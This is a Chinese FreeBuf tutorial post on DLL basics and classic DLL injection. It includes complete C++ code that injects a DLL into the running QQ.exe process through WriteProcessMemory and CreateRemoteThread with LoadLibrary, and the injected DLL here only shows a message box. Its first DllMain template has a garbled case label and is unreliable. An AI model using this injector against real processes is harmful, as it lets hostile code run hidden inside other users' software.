freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

DLL注入学习过程(一)
1Thek2 2022-10-09 15:45:18 220661
所属地 浙江省

基础知识

0x00 什么是DLL

动态链接库,英文缩写DLL,DLL是一个包含可由多个程序,同时使用的代码和数据的库。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。

DLL文件中存放的是各类程序的函数实现过程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从DLL中取出。另外,使用DLL文件还可以减小程序的体积。

0x01 DLL注入的原理和实现

  • DLL注入原理

在windows中,每个进程都有自己的私有地址空间,当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一个其引用属于另一个进程的内存指针。DLL注入就是强制一个正在运行的进程将攻击者需要注入的dll文件加载到自身进程空间内,进而实现其后续的恶意攻击操作。

原理部分详细可以阅读这篇文章:https://zhuanlan.zhihu.com/p/419626153?utm_medium=social&utm_oi=768452431364227072

而加载DLL就绕不开LoadLibrary()函数,该函数被用于向调用进程的地址空间加载指定模块,而该指定模块可能导致其他模块被加载。

下面是函数说明:

HMODULE WINAPI LoadLibrary(
_IN_ LPCRSTR lpFileName
);


//lpFileName    [输入参数]
//模块名称。该模块可能是一个库模块(.dll文件),或者一个可执行模块(.exe文件)
//若字符串指定了一个完全路径,则函数只在该路径下搜索模块;
//若字符串指定了一个相对路径或者无路径的模块名称,则函数使用标准搜索策略来查找模块。
//若函数无法找到模块,则函数执行失败。当指定路径时,必须使用反斜线(\)而不是斜线(/)。
//如果字符串指定了一个无路径的模块名称并且无文件名后缀,则函数默认在模块名称后面添加库文件后缀.dll。

  • DLL注入实现

1、附加目标进程

2、在目标进程内分配内存

3、将DLL文件路径,复制到目标进程的内存空间

4、创建一个远程线程,让目标进程调用句柄

5、释放空间

实现过程

0x02 生成一个DLL文件

用vs新建一个DLL项目

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case switch (ul_reason_for_call):
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在DLL被加载的时候,会传入ul_reason_for_call,指明了被调用的原因,原因如上有4种

DLL_PROCESS_ATTACH:进程创建的时候调用

DLL_PROCESS_DETACH:进程结束的时候调用

DLL_THREAD_ATTACH:线程创建的时候调用

DLL_THREAD_DETACH:线程结束的时候调用

编写如下代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "Windows.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,   //调用DllMain时赋值为DLL_PROCESS_ATTACH
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "DLLInject test!", "DLLInject test!", MB_OK | MB_TOPMOST);           //在进程创建的时候弹出一个消息框
            break;
    }
    return TRUE;
}

接下来写执行脚本将DLL注入到其他进程中

执行脚本根据进程名获取了进程pid,拿到进程句柄获取权限,申请内存地址空间,根据传入的绝对路径加载DLL文件,把DLL写入内存,并创建一个远程线执行,最后释放空间

#include "stdlib.h"
#include "tchar.h"
#include "Windows.h"
#include "direct.h"
#include "TlHelp32.h"
#include "atlstr.h"

#define PROCESS_NAME "QQ.exe"    //要注入的进程名


//注入函数的实现
bool Inject(DWORD dwPid, WCHAR* szPath)	//目标进程PID和DLL路径
{
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);		//获取进程权限

	//执行成功分配内存单元的首地址,不成功就为NULL
	LPVOID pRemoteAddress = VirtualAllocEx(hProcess, NULL, 1, MEM_COMMIT, PAGE_READWRITE);

	DWORD dwWriteSize = 0;

	WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, &dwWriteSize);		//把dll写入内存

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pRemoteAddress, NULL, NULL);	//创建一个新的远程线程执行

	WaitForSingleObject(hThread, -1);	//当句柄所指定的线程有信号的时候,才会返回

	VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_COMMIT);	//	释放目标空间

	return 0;
}

//根据进程名获取进程Pid
DWORD GetPID(CString pProName)
{
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	BOOL bRet = FALSE;
	DWORD dwPID = 0;

	if (hSnap == INVALID_HANDLE_VALUE)
	{
		printf("CreateToolhelp32Snapshot process %d\n", GetLastError());
		goto exit;
	}

	pe32.dwSize = sizeof(pe32);
	bRet = Process32First(hSnap, &pe32);
	while (bRet)
	{
		if (lstrcmp(pe32.szExeFile, pProName) == 0)
		{
			dwPID = pe32.th32ProcessID;
			break;
		}
		bRet = Process32Next(hSnap, &pe32);
	}

	CloseHandle(hSnap);
exit:
	return dwPID;
}

int _tmain(int argc, _TCHAR *argv[])
{
	CHAR szDLLPath[MAX_PATH] = { 0 };

	wchar_t szPath[] = L"DllMain.dll";	//要注入的DLL

	DWORD dwPid = 0;

	dwPid = GetPID(PROCESS_NAME);

	if (dwPid == NULL)
	{
		MessageBox(NULL, L"获取目标进程pid失败!", L"提示", MB_OK);
	}

	Inject(dwPid, szPath);	//注入dll函数
	

exit:
	system("pause");

	return 0;
}

执行查看效果,这边使用QQ来创建线程,需要先打开QQ

执行成功,成功加载DLL文件

1665300446_634277de2f7098262541c.png!small?1665300447218

通过监控软件,查看QQ的内存加载,可以看到内存中加载了我们的DLL文件

1665300683_634278cbdbe8660fdc614.png!small?1665300684927

1665300886_63427996df1da83cab38b.png!small?1665300887953

到此我们对DLL注入有个初步的概念,DLL注入有很多种方法,会在后面的文章种陆续讲解。

# 系统安全 # 网络安全技术
本文为 1Thek2 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
1Thek2 LV.4
这家伙太懒了,还未填写个人描述!
  • 10 文章数
  • 12 关注者
Electron引发的安全问题
2024-07-09
BLE低功耗蓝牙安全系列(一)
2023-07-20
BLE安全基础知识(二)
2023-07-20
文章目录